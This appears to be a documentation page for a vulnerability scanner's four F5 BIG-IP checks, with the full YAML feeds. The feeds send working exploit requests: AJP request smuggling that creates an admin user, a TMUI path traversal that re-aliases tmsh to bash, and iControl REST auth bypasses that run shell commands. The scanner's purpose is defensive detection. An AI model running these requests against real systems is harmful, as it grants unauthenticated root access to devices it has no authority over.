F5 BIG-IP — 4 vulnerability checks
noctis ships 4 vulnerability checks for F5 BIG-IP, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
F5 BIG-IP Configuration Utility Authentication Bypass via AJP Smuggling
| CVE | CVE-2023-46747 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | tcp_connect, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/bigip/CVE-2023-46747.yaml |
Tests F5 BIG-IP for the AJP request smuggling authentication bypass in the TMUI Configuration Utility. A crafted POST to /tmui/login.jsp with a double Transfer-Encoding header smuggles an AJP request that creates an admin user without authentication. The feed confirms exploitation by authenticating with the created credentials and checking for a session token in the response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /tmui/login.jsp HTTP/1.0 - HTTP(S) request
POST /mgmt/shared/authn/loginwith a crafted body - Checks
auth_resp.bodyfor"token"→ finding QoD 97: F5 BIG-IP auth bypass confirmed — admin user created via AJP request smuggling, session token returned on login
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-46747
- https://my.f5.com/manage/s/article/K000137353
- https://github.com/ErikWynter/CVE-2023-46747-Scan
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/bigip/CVE-2023-46747.yaml
uid: 0a3dccc8-e0bb-4415-899f-fb1e78e7f37b
name: "F5 BIG-IP Configuration Utility Authentication Bypass via AJP Smuggling (CVE-2023-46747)"
description: |
Tests F5 BIG-IP for the AJP request smuggling authentication bypass in the TMUI
Configuration Utility. A crafted POST to /tmui/login.jsp with a double
Transfer-Encoding header smuggles an AJP request that creates an admin user
without authentication. The feed confirms exploitation by authenticating with
the created credentials and checking for a session token in the response.
cves: [CVE-2023-46747]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [f5, bigip, tmui, auth-bypass, request-smuggling, ajp, kev, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-46747"
- "https://my.f5.com/manage/s/article/K000137353"
- "https://github.com/ErikWynter/CVE-2023-46747-Scan"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Step 1: AJP smuggling via double Transfer-Encoding ────────────────────
# tcp_connect required: reqwest cannot send duplicate/malformed TE headers.
# In vuln mode the server creates an admin user from the POST body.
- id: ajp-smug
action: tcp_connect
port: "{{port}}"
send: "POST /tmui/login.jsp HTTP/1.0\r\nHost: {{target_host}}\r\nTransfer-Encoding: chunked, chunked\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n\r\nname=noctis_probe&password=noctis_probe"
store_as: smug_resp
# ── Step 2: Authenticate with the smuggled credentials ────────────────────
- id: auth-verify
action: http_request
method: POST
path: "/mgmt/shared/authn/login"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/json"
body: "{\"username\":\"noctis_probe\",\"password\":\"noctis_probe\"}"
store_as: auth_resp
# ── Step 3: Match token — confirms auth bypass succeeded ──────────────────
- id: token-match
action: match
source: auth_resp.body
pattern: "\"token\""
condition: "auth_resp.status == 200 && smug_resp.connected == true"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "F5 BIG-IP auth bypass confirmed — admin user created via AJP request smuggling, session token returned on login"
stop: trueF5 BIG-IP TMUI Unauthenticated RCE
| CVE | CVE-2020-5902 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/bigip/CVE-2020-5902.yaml |
F5 BIG-IP TMUI is vulnerable to unauthenticated remote code execution (CVE-2020-5902). A `/tmui/login.jsp/..;/` path-traversal reaches internal JSP endpoints; the tmsh `list` command is re-aliased to `bash` and used to execute an attacker-written script. The probe runs `echo <token>` and confirms the RCE by observing that token reflected in the command output.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+priva… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/noctis_5902&con… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/noctis_5902 … - Checks
exec_resp.bannerfor200[\s\S]*h3ll0_w0Rld→ finding QoD 97: F5 BIG-IP TMUI Unauthenticated RCE (CVE-2020-5902)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-5902
- https://support.f5.com/csp/article/K52145254
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5902.yaml
- https://www.rapid7.com/db/modules/exploit/linux/http/f5_bigip_tmui_rce/
Feed source — tests/vulnerabilities/bigip/CVE-2020-5902.yaml
# F5 BIG-IP TMUI unauthenticated Remote Code Execution — CVE-2020-5902
#
# The Traffic Management User Interface (TMUI) exposes internal JSP endpoints
# behind a path-traversal that bypasses authentication:
#
# /tmui/login.jsp/..;/tmui/locallb/workspace/<endpoint>.jsp
#
# The `..;/` segment is not collapsed by the frontend, so an unauthenticated
# attacker reaches `tmshCmd.jsp` / `fileSave.jsp` directly. The documented RCE
# chain (exphub, Metasploit f5_bigip_tmui_rce):
#
# 1. tmshCmd.jsp?command=create cli alias private list command bash
# → re-aliases the tmsh `list` command to `bash`.
# 2. fileSave.jsp?fileName=<f>&content=echo <token>
# → writes an attacker-controlled script file.
# 3. tmshCmd.jsp?command=list <f>
# → `list` (now `bash`) executes the file, running `echo <token>`.
#
# Detection keys on the command output: the token we asked `echo` to print is
# reflected back only because our command actually executed. On a patched
# BIG-IP the `..;/` traversal is blocked (403) and no step succeeds.
#
# Encoded/verbatim path (`..;/`, `+`-encoded command spaces) → tcp_connect, so
# reqwest cannot normalise the traversal away. tcp_connect auto-wraps TLS for
# https services.
uid: 1e8fbaf8-cb11-48e4-a192-0704b95183a3
name: "F5 BIG-IP TMUI Unauthenticated RCE (CVE-2020-5902)"
cves: [CVE-2020-5902]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [f5, bigip, tmui, rce, path-traversal, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.0.0"
description: |
F5 BIG-IP TMUI is vulnerable to unauthenticated remote code execution
(CVE-2020-5902). A `/tmui/login.jsp/..;/` path-traversal reaches internal JSP
endpoints; the tmsh `list` command is re-aliased to `bash` and used to execute
an attacker-written script. The probe runs `echo <token>` and confirms the RCE
by observing that token reflected in the command output.
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-5902"
- "https://support.f5.com/csp/article/K52145254"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5902.yaml"
- "https://www.rapid7.com/db/modules/exploit/linux/http/f5_bigip_tmui_rce/"
steps:
# 1 — re-alias tmsh `list` to `bash` via the auth-bypass traversal.
- id: create-alias
action: tcp_connect
port: "{{port}}"
send: "GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: alias_resp
# 2 — write an attacker-controlled script: `echo h3ll0_w0Rld`.
- id: write-payload
action: tcp_connect
port: "{{port}}"
send: "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/noctis_5902&content=echo+h3ll0_w0Rld HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: save_resp
# 3 — `list /tmp/noctis_5902` now runs `bash /tmp/noctis_5902`, executing the echo.
- id: exec-payload
action: tcp_connect
port: "{{port}}"
send: "GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/noctis_5902 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: exec_resp
# 4 — the token comes back only if our command actually executed → confirmed RCE.
- id: confirm-rce
action: match
source: exec_resp.banner
pattern: "200[\\s\\S]*h3ll0_w0Rld"
on_match:
finding:
title: "F5 BIG-IP TMUI Unauthenticated RCE (CVE-2020-5902)"
description: "The BIG-IP TMUI path-traversal (/tmui/login.jsp/..;/) allowed unauthenticated command execution: an injected `echo` payload was reflected in the tmsh command output, confirming CVE-2020-5902."
remediation: "Upgrade BIG-IP to a fixed release (e.g. 15.1.0.4, 14.1.2.6, 13.1.3.4, 12.1.5.2, 11.6.5.2) per F5 K52145254, and restrict TMUI / management-interface exposure to trusted networks."
confidence_delta: 0.65
qod: 97
evidence: "Injected `echo` command output reflected via TMUI tmshCmd.jsp: {{exec_resp.banner}}"
stop: trueF5 BIG-IP iControl REST Auth Bypass
| CVE | CVE-2022-1388 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/bigip/CVE-2022-1388.yaml |
Tests F5 BIG-IP for authentication bypass in the iControl REST API. A crafted Connection header strips the auth token check in the internal proxy. Safe probe checks /mgmt/tm/sys; RCE probe executes `id` via /mgmt/tm/util/bash.
How noctis detects it
- HTTP(S) request
GET /mgmt/tm/sys - Checks
safe_resp.bodyfor"kind"\s*:→ finding QoD 75: Auth bypass confirmed — /mgmt/tm/sys returned 200: … - HTTP(S) request
POST /mgmt/tm/util/bashwith a crafted body - Checks
rce_resp.bodyfor"commandResult"\s*:\s*"uid=\d+→ finding QoD 97: RCE confirmed via BIG-IP iControl bash endpoint: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-1388
- https://support.f5.com/csp/article/K23605346
- https://www.rapid7.com/db/modules/exploit/multi/http/f5_bigip_icontrol_rce_cve_2022_1388/
Feed source — tests/vulnerabilities/bigip/CVE-2022-1388.yaml
# F5 BIG-IP iControl REST Authentication Bypass — CVE-2022-1388
#
# BIG-IP's internal proxy (TMM) forwards requests to the iControl REST API.
# By adding "X-F5-Auth-Token" to the Connection header, the proxy strips
# this header on the backend side, bypassing authentication entirely.
# The REST API is then accessible as administrator without credentials.
#
# Affected versions: 16.1.x < 16.1.2.2, 15.1.x < 15.1.5.1,
# 14.1.x < 14.1.4.6, 13.1.x < 13.1.5.
#
# Detection (safe):
# GET /mgmt/tm/sys → 200 = bypass active, 401 = patched.
# POST /mgmt/tm/util/bash with JSON body for RCE confirmation (QoD 97).
uid: b4c8f1d2-6e3a-4b9c-8d7f-2a1c5e0b3f6d
name: "F5 BIG-IP iControl REST Auth Bypass (CVE-2022-1388)"
description: |
Tests F5 BIG-IP for authentication bypass in the iControl REST API.
A crafted Connection header strips the auth token check in the internal proxy.
Safe probe checks /mgmt/tm/sys; RCE probe executes `id` via /mgmt/tm/util/bash.
cves: [CVE-2022-1388]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [f5, bigip, auth-bypass, rest-api, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-1388"
- "https://support.f5.com/csp/article/K23605346"
- "https://www.rapid7.com/db/modules/exploit/multi/http/f5_bigip_icontrol_rce_cve_2022_1388/"
steps:
# ── Method 1: safe detection — access /mgmt/tm/sys ───────────────────────
# A vulnerable server returns 200; a patched server returns 401.
- id: safe-probe
action: http_request
method: GET
path: "/mgmt/tm/sys"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Connection: "keep-alive, X-F5-Auth-Token"
X-F5-Auth-Token: "noctis-probe"
Authorization: "Basic YWRtaW46"
Content-Type: "application/json"
store_as: safe_resp
- id: safe-match-200
action: match
source: safe_resp.body
# API responds with a JSON object containing "kind" when access is granted
pattern: "\"kind\"\\s*:"
condition: "safe_resp.status == 200"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Auth bypass confirmed — /mgmt/tm/sys returned 200: {{safe_resp.body}}"
set_vars:
bigip_bypass: true
# ── Method 2: RCE via /mgmt/tm/util/bash ─────────────────────────────────
- id: rce-probe
action: http_request
method: POST
path: "/mgmt/tm/util/bash"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Connection: "keep-alive, X-F5-Auth-Token"
X-F5-Auth-Token: "noctis-probe"
Authorization: "Basic YWRtaW46"
Content-Type: "application/json"
body: '{"command":"run","utilCmdArgs":"-c id"}'
store_as: rce_resp
condition: "bigip_bypass == true"
- id: rce-match
action: match
source: rce_resp.body
pattern: "\"commandResult\"\\s*:\\s*\"uid=\\d+"
condition: "bigip_bypass == true"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "RCE confirmed via BIG-IP iControl bash endpoint: {{rce_resp.body}}"
stop: trueF5 BIG-IP iControl REST Unauthenticated RCE
| CVE | CVE-2021-22986 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/bigip/CVE-2021-22986.yaml |
Logs in to the iControl REST API at /mgmt/shared/authn/login without a password, with a loginReference link pointing back at the device itself, and takes the admin X-F5-Auth-Token a vulnerable device returns. With that token it runs a harmless echo of a shell arithmetic expression through /mgmt/tm/util/bash, and reports the vulnerability when the computed result, which never appears in the request, comes back in the commandResult field.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /mgmt/shared/authn/loginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /mgmt/tm/util/bashwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
rce_hitfor^true$→ finding QoD 97: F5 BIG-IP iControl REST Unauthenticated RCE (CVE-2021-22986)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22986
- https://support.f5.com/csp/article/K03009991
- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_icontrol_rest_ssrf_rce.rb
Feed source — tests/vulnerabilities/bigip/CVE-2021-22986.yaml
# F5 BIG-IP / BIG-IQ iControl REST unauthenticated RCE — CVE-2021-22986
#
# /mgmt/shared/authn/login trusts a client-supplied loginReference link: when
# it points back at the box (http://localhost/mgmt/shared/gossip) the login
# succeeds without a password and returns an admin X-F5-Auth-Token (SSRF,
# CWE-918). That token then runs commands through /mgmt/tm/util/bash.
#
# Affected: BIG-IP 16.0.x < 16.0.1.1, 15.1.x < 15.1.2.1, 14.1.x < 14.1.4,
# 13.1.x < 13.1.3.6, 12.1.x < 12.1.5.3; BIG-IQ 7.1.0.x < 7.1.0.3,
# 7.0.0.x < 7.0.0.2. Fixed builds answer the login with 401.
#
# Detection: request a token through the SSRF login (same request as the
# public PoCs), then run `echo NOCTIS$((A*B))XN` with it. The finding needs
# NOCTIS<product>XN inside the iControl "commandResult" field: bash computes
# the product, which never appears in the request, so a page that quotes the
# request (echo server, WAF block page) cannot match (issue #2366). Without a
# token the bash step is not sent at all.
uid: 142cb546-3fe2-4444-8a0f-5e21ab3d0820
name: "F5 BIG-IP iControl REST Unauthenticated RCE (CVE-2021-22986)"
description: >-
Logs in to the iControl REST API at /mgmt/shared/authn/login without a
password, with a loginReference link pointing back at the device itself,
and takes the admin X-F5-Auth-Token a vulnerable device returns. With that
token it runs a harmless echo of a shell arithmetic expression through
/mgmt/tm/util/bash, and reports the vulnerability when the computed result,
which never appears in the request, comes back in the commandResult field.
cves: [CVE-2021-22986]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags:
- f5
- bigip
- bigiq
- icontrol
- ssrf
- rce
- intrusive
- kev
services:
- http
- https
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-22986"
- "https://support.f5.com/csp/article/K03009991"
- "https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_icontrol_rest_ssrf_rce.rb"
steps:
- id: gen
action: script
code: |
let a = rand_int(10000, 46000);
let b = rand_int(10000, 46000);
#{ a: a, b: b, want: "NOCTIS" + (a * b) + "XN" }
store_as: g
- id: set_tok
action: set_var
var_name: tok
var_value: ""
# SSRF login: no password, loginReference pointing back at the device.
- id: login
action: http_request
method: POST
path: "/mgmt/shared/authn/login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/json"
Authorization: "Basic YWRtaW46"
body: "{\"username\":\"admin\",\"userReference\":{},\"loginReference\":{\"link\":\"http://localhost/mgmt/shared/gossip\"}}"
store_as: login_resp
- id: extract_token
action: script
condition: "login_resp.status == 200"
code: |
let r = if type_of(login_resp.body) == "string" { login_resp.body } else { "" };
let m = eregmatch("\"token\"\\s*:\\s*\"([A-Za-z0-9]{16,64})\"", r);
if type_of(m) == "array" && m.len() > 1 { m[1] } else { "" }
store_as: tok
- id: bash_probe
action: http_request
condition: "tok != \"\""
method: POST
path: "/mgmt/tm/util/bash"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/json"
X-F5-Auth-Token: "{{tok}}"
body: "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo NOCTIS$(({{g.a}}*{{g.b}}))XN'\"}"
store_as: bash_resp
- id: set_rce_hit
action: set_var
var_name: rce_hit
var_value: false
- id: verdict
action: script
condition: "tok != \"\" && bash_resp.status == 200"
code: |
let r = if type_of(bash_resp.body) == "string" { bash_resp.body } else { "" };
ereg("\"commandResult\"\\s*:\\s*\"" + g.want, r)
store_as: rce_hit
- id: check_rce
action: match
source: rce_hit
pattern: "^true$"
condition: "rce_hit == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
title: "F5 BIG-IP iControl REST Unauthenticated RCE (CVE-2021-22986)"
description: >
The iControl REST login endpoint issued an administrator token
without a password when given a loginReference pointing back at the
device, and that token ran a shell command through
/mgmt/tm/util/bash: the command output came back computed by the
device. An unauthenticated attacker can run arbitrary commands as
root. Actively exploited in the wild (CISA KEV).
remediation: >
Upgrade BIG-IP to 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3 or
later (BIG-IQ to 7.1.0.3 / 7.0.0.2 or later), and restrict access
to the management interface and self IPs.
evidence: "Token issued by the unauthenticated login; bash echo of {{g.a}}*{{g.b}} returned {{g.want}}: {{bash_resp.body}}"
stop: true